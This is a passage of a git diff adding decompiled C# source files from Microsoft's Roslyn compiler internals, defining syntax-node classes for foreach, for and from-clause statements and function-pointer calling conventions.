+ this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forEachKeyword); + this.forEachKeyword = forEachKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variable); + this.variable = variable; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => awaitKeyword, + 2 => forEachKeyword, + 3 => openParenToken, + 4 => variable, + 5 => inKeyword, + 6 => expression, + 7 => closeParenToken, + 8 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitForEachVariableStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitForEachVariableStatement(this); + } + + public ForEachVariableStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || forEachKeyword != ForEachKeyword || openParenToken != OpenParenToken || variable != Variable || inKeyword != InKeyword || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + ForEachVariableStatementSyntax forEachVariableStatementSyntax = SyntaxFactory.ForEachVariableStatement(attributeLists, awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + forEachVariableStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(forEachVariableStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + forEachVariableStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(forEachVariableStatementSyntax, (IEnumerable)annotations); + } + return forEachVariableStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ForEachVariableStatementSyntax(base.Kind, attributeLists, awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ForEachVariableStatementSyntax(base.Kind, attributeLists, awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ForEachVariableStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 9; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + awaitKeyword = syntaxToken; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + forEachKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openParenToken = syntaxToken3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + variable = expressionSyntax; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + inKeyword = syntaxToken4; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + expression = expressionSyntax2; + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + closeParenToken = syntaxToken5; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)awaitKeyword); + writer.WriteValue((IObjectWritable)(object)forEachKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)variable); + writer.WriteValue((IObjectWritable)(object)inKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static ForEachVariableStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ForEachVariableStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ForEachVariableStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForStatementSyntax.cs new file mode 100644 index 0000000..76e0410 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForStatementSyntax.cs @@ -0,0 +1,345 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ForStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken forKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly VariableDeclarationSyntax? declaration; + + internal readonly GreenNode? initializers; + + internal readonly SyntaxToken firstSemicolonToken; + + internal readonly ExpressionSyntax? condition; + + internal readonly SyntaxToken secondSemicolonToken; + + internal readonly GreenNode? incrementors; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken ForKeyword => forKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public VariableDeclarationSyntax? Declaration => declaration; + + public SeparatedSyntaxList Initializers => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(initializers))); + + public SyntaxToken FirstSemicolonToken => firstSemicolonToken; + + public ExpressionSyntax? Condition => condition; + + public SyntaxToken SecondSemicolonToken => secondSemicolonToken; + + public SeparatedSyntaxList Incrementors => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(incrementors))); + + public SyntaxToken CloseParenToken => closeParenToken; + + public StatementSyntax Statement => statement; + + internal ForStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, GreenNode? initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, GreenNode? incrementors, SyntaxToken closeParenToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forKeyword); + this.forKeyword = forKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (initializers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(initializers); + this.initializers = initializers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)firstSemicolonToken); + this.firstSemicolonToken = firstSemicolonToken; + if (condition != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)secondSemicolonToken); + this.secondSemicolonToken = secondSemicolonToken; + if (incrementors != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(incrementors); + this.incrementors = incrementors; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ForStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, GreenNode? initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, GreenNode? incrementors, SyntaxToken closeParenToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forKeyword); + this.forKeyword = forKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (initializers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(initializers); + this.initializers = initializers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)firstSemicolonToken); + this.firstSemicolonToken = firstSemicolonToken; + if (condition != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)secondSemicolonToken); + this.secondSemicolonToken = secondSemicolonToken; + if (incrementors != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(incrementors); + this.incrementors = incrementors; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ForStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, GreenNode? initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, GreenNode? incrementors, SyntaxToken closeParenToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 11; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forKeyword); + this.forKeyword = forKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (initializers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(initializers); + this.initializers = initializers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)firstSemicolonToken); + this.firstSemicolonToken = firstSemicolonToken; + if (condition != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)secondSemicolonToken); + this.secondSemicolonToken = secondSemicolonToken; + if (incrementors != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(incrementors); + this.incrementors = incrementors; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => forKeyword, + 2 => openParenToken, + 3 => declaration, + 4 => initializers, + 5 => firstSemicolonToken, + 6 => condition, + 7 => secondSemicolonToken, + 8 => incrementors, + 9 => closeParenToken, + 10 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ForStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitForStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitForStatement(this); + } + + public ForStatementSyntax Update(SyntaxList attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SeparatedSyntaxList initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax condition, SyntaxToken secondSemicolonToken, SeparatedSyntaxList incrementors, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + if (!(attributeLists != AttributeLists) && forKeyword == ForKeyword && openParenToken == OpenParenToken && declaration == Declaration) + { + SeparatedSyntaxList val = Initializers; + if (!((ref initializers) != (ref val)) && firstSemicolonToken == FirstSemicolonToken && condition == Condition && secondSemicolonToken == SecondSemicolonToken) + { + SeparatedSyntaxList val2 = Incrementors; + if (!((ref incrementors) != (ref val2)) && closeParenToken == CloseParenToken && statement == Statement) + { + return this; + } + } + } + ForStatementSyntax forStatementSyntax = SyntaxFactory.ForStatement(attributeLists, forKeyword, openParenToken, declaration, initializers, firstSemicolonToken, condition, secondSemicolonToken, incrementors, closeParenToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + forStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(forStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + forStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(forStatementSyntax, (IEnumerable)annotations); + } + return forStatementSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ForStatementSyntax(base.Kind, attributeLists, forKeyword, openParenToken, declaration, initializers, firstSemicolonToken, condition, secondSemicolonToken, incrementors, closeParenToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ForStatementSyntax(base.Kind, attributeLists, forKeyword, openParenToken, declaration, initializers, firstSemicolonToken, condition, secondSemicolonToken, incrementors, closeParenToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ForStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 11; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + forKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)reader.ReadValue(); + if (variableDeclarationSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDeclarationSyntax); + declaration = variableDeclarationSyntax; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + initializers = val2; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + firstSemicolonToken = syntaxToken3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + secondSemicolonToken = syntaxToken4; + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + incrementors = val3; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + closeParenToken = syntaxToken5; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)forKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)declaration); + writer.WriteValue((IObjectWritable)(object)initializers); + writer.WriteValue((IObjectWritable)(object)firstSemicolonToken); + writer.WriteValue((IObjectWritable)(object)condition); + writer.WriteValue((IObjectWritable)(object)secondSemicolonToken); + writer.WriteValue((IObjectWritable)(object)incrementors); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static ForStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ForStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ForStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FromClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FromClauseSyntax.cs new file mode 100644 index 0000000..3bc8a23 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FromClauseSyntax.cs @@ -0,0 +1,183 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FromClauseSyntax : QueryClauseSyntax +{ + internal readonly SyntaxToken fromKeyword; + + internal readonly TypeSyntax? type; + + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken inKeyword; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken FromKeyword => fromKeyword; + + public TypeSyntax? Type => type; + + public SyntaxToken Identifier => identifier; + + public SyntaxToken InKeyword => inKeyword; + + public ExpressionSyntax Expression => expression; + + internal FromClauseSyntax(SyntaxKind kind, SyntaxToken fromKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fromKeyword); + this.fromKeyword = fromKeyword; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal FromClauseSyntax(SyntaxKind kind, SyntaxToken fromKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fromKeyword); + this.fromKeyword = fromKeyword; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal FromClauseSyntax(SyntaxKind kind, SyntaxToken fromKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fromKeyword); + this.fromKeyword = fromKeyword; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => fromKeyword, + 1 => type, + 2 => identifier, + 3 => inKeyword, + 4 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFromClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFromClause(this); + } + + public FromClauseSyntax Update(SyntaxToken fromKeyword, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression) + { + if (fromKeyword != FromKeyword || type != Type || identifier != Identifier || inKeyword != InKeyword || expression != Expression) + { + FromClauseSyntax fromClauseSyntax = SyntaxFactory.FromClause(fromKeyword, type, identifier, inKeyword, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + fromClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(fromClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + fromClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(fromClauseSyntax, (IEnumerable)annotations); + } + return fromClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FromClauseSyntax(base.Kind, fromKeyword, type, identifier, inKeyword, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FromClauseSyntax(base.Kind, fromKeyword, type, identifier, inKeyword, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FromClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + fromKeyword = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + if (typeSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + inKeyword = syntaxToken3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)fromKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)inKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static FromClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FromClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FromClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerCallingConventionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerCallingConventionSyntax.cs new file mode 100644 index 0000000..f004e39 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerCallingConventionSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FunctionPointerCallingConventionSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken managedOrUnmanagedKeyword; + + internal readonly FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList; + + public SyntaxToken ManagedOrUnmanagedKeyword => managedOrUnmanagedKeyword; + + public FunctionPointerUnmanagedCallingConventionListSyntax? UnmanagedCallingConventionList => unmanagedCallingConventionList; + + internal FunctionPointerCallingConventionSyntax(SyntaxKind kind, SyntaxToken managedOrUnmanagedKeyword, FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)managedOrUnmanagedKeyword); + this.managedOrUnmanagedKeyword = managedOrUnmanagedKeyword; + if (unmanagedCallingConventionList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unmanagedCallingConventionList); + this.unmanagedCallingConventionList = unmanagedCallingConventionList; + } + } + + internal FunctionPointerCallingConventionSyntax(SyntaxKind kind, SyntaxToken managedOrUnmanagedKeyword, FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)managedOrUnmanagedKeyword); + this.managedOrUnmanagedKeyword = managedOrUnmanagedKeyword; + if (unmanagedCallingConventionList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unmanagedCallingConventionList); + this.unmanagedCallingConventionList = unmanagedCallingConventionList; + } + } + + internal FunctionPointerCallingConventionSyntax(SyntaxKind kind, SyntaxToken managedOrUnmanagedKeyword, FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)managedOrUnmanagedKeyword); + this.managedOrUnmanagedKeyword = managedOrUnmanagedKeyword; + if (unmanagedCallingConventionList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unmanagedCallingConventionList); + this.unmanagedCallingConventionList = unmanagedCallingConventionList; + } + } + + internal override 